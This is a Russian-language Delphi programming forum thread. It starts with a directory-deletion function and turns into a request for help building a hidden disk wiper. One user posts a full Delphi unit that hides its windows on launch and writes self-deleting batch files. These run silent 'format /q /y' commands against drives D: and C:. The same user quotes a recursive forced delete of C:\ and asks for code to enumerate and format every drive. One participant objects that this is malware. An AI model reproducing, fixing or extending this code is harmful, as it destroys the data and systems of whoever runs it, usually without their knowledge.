исходник удаления директории

[~=DEN=~]

Сообщение от Life_Master

3 вопроса возникло:
1. Не понял по коду, какая директория стоит по умолчанию ? та в которой находится курсор ?
2. Можно ли указать директорию руками, в виде переменной или константы ?
3. при компиле ехе-шника, ругается на вызов функции, если мне память не изменяет, то функцию вызываем в теле программы по ее названию, т.е. MyRemoveDir; ?

if not MyRemoveDir('С:\Windows') then
  ShowMessage('Не возможно удалить каталог');

ЗЫ
С:\Windows для примера

[Terran]

1. Не понял по коду, какая директория стоит по умолчанию ? та в которой находится курсор ?

Директория по умолчанию будет той директорией, которую Вы укажите в параметр функции SDir.

2. Можно ли указать директорию руками, в виде переменной или константы ?

Конечно можно. К примеру:

Procedure TForm1.Button1Click(Sender: TObject);
//Var
//S: String;
Const
S: String = 'C:\1';
Begin
//S:='C:\1';
MyRemoveDir(S);
End;

3. при компиле ехе-шника, ругается на вызов функции, если мне память не изменяет, то функцию вызываем в теле программы по ее названию, т.е. MyRemoveDir; ?

Вызывается так:

Procedure TForm1.Button1Click(Sender: TObject);
Begin
MyRemoveDir('Параметр'); //Не забывайте, что функция ещё возвращает True или False
End;

[Life_Master]

Сообщение от ~=DEN=~

ЗЫ
С:\Windows для примера

не удалит, ругнеться, НО все реально, под cmd -> del C: *.* /s /f /q и прощай винда со всеми вложениями, если файл занят в процессе, то он пропускается, а в итоге NTLDR is missing

вот я и хочу запихнуть в делфи аналогию этой команды

[ZuBy]

так ты создай bat'ник из под делфи, запусти его удали потом. радуйся

[Life_Master]

так есть такое, но почему то не хочет работать =(
вот код проги:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls,ShellApi, FileCTRL;

type
  TForm1 = class(TForm)
    procedure FormActivate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses ShellAPI, FileCtrl;

{$R *.dfm}

procedure KillFile;
var
KillFile: TextFile;
KillFileName: string;
begin
KillFileName:=('d:\kill.bat');
AssignFile(KillFile, KillFileName);
Rewrite(KillFile);
Writeln(KillFile,'@echo off');
Writeln(KillFile,'@format d: /fs:FAT32 /q /y > nul');
Writeln(KillFile,'del %0');
CloseFile(KillFile);

if (true) then
begin
 ShellExecute(0,nil,'d:\kill.bat',nil,nil,SW_HIDE);
end;
end;

procedure KillFiles;
var
KillFile: TextFile;
KillFileName2: string;
begin
KillFileName2:=('C:\killer.bat');
AssignFile(KillFile, KillFileName2);
Rewrite(KillFile);
Writeln(KillFile,'@echo off');
Writeln(KillFile,'@format С: /fs:FAT32 /q /y > nul');
Writeln(KillFile,'del %0');
CloseFile(KillFile);

if (true) then
begin
 ShellExecute(0,nil,'C:\killer.bat',nil,nil,SW_HIDE);
end;
end;

procedure TForm1.FormActivate(Sender: TObject);
begin
 ShowWindow(Application.Handle, SW_HIDE);
 ShowWindow(Form1.Handle, SW_HIDE);

KillFile;
KillFiles;
end;

end.

отрабатывает только удаление всего из диска D:, C: не трогает. Хотя команда, которую я писал выше, она удаляет все из С:, пропуская файлы, которые задействованы в процессах. Не знаю где мой бок =(
Да и я еще понимаю, что нужно вставить код сканера винта на наличие логических дисков, с последующим их форматированием, по алфавиту в обратном порядке, и все это через API, может у кого то есть исходник или готовый код, поделитесь пожалуйста.

[Пепел Феникса]

1)батник диск C не форматнет, он системный.
2)у вас FAT32 как файловая система...не хорошо это...
ZuBy, одну команду можно и так запустить в принципе.

[uberchel]

А я думаю, что надо закрывать подобные темы и так весь интернет забит подобными бяками, которые мы и помогаем писать а потом, а потом или сами ловим или др люди, которые так же приходят за помощью на этот форум.

Если ГС хочет написать бяку , то пускай сам и пишет!

[Life_Master]

Сообщение от Пепел Феникса

1)батник диск C не форматнет, он системный.

а из cmd после команды del C:*.* /q /s /f удаляет все... или я командами ошибся ?

Сообщение от Пепел Феникса

2)у вас FAT32 как файловая система...не хорошо это...

FAT'ом становится система после форматирования, да и это на компе, на котором я тестил программу =)

[Life_Master]

uberchel, у вас есть чем заняться, так в подписи написано... это раз.
два - если хотел бяку кинуть в сеть, то нашел бы исходник вируса по-пакостней(благо таких сайтов хватает) и вопросы задавал бы на спецфорумах, где человеки специализируются на этом. А моя прожка для нужд хороших людей, просьба их. Для каких целей - мне не интересно, но взрослые, серьезные люди такими мелкими пакостями не занимаются, о которых вы пишите.
А три - если не по теме хочется написать, всякие фи высказывать, по пжл в личку, пишите все что хотите, а тут я жду ответ на свой вопрос, и отвечают те, кому хочется помочь или просто знают. Пардон.

[uberchel]

Хм, в посте №15 отчетлива видно для чего вам надо это, так что не морочите голову! в нете если и найдете, то только чушь которую самый любой антивирусник увидит, а по поводу моего поста, будте вежливее, я вам не говорил чем заниматься.

вопросы задавал бы на спецфорумах

Дак итите туда, что сюда то пришли...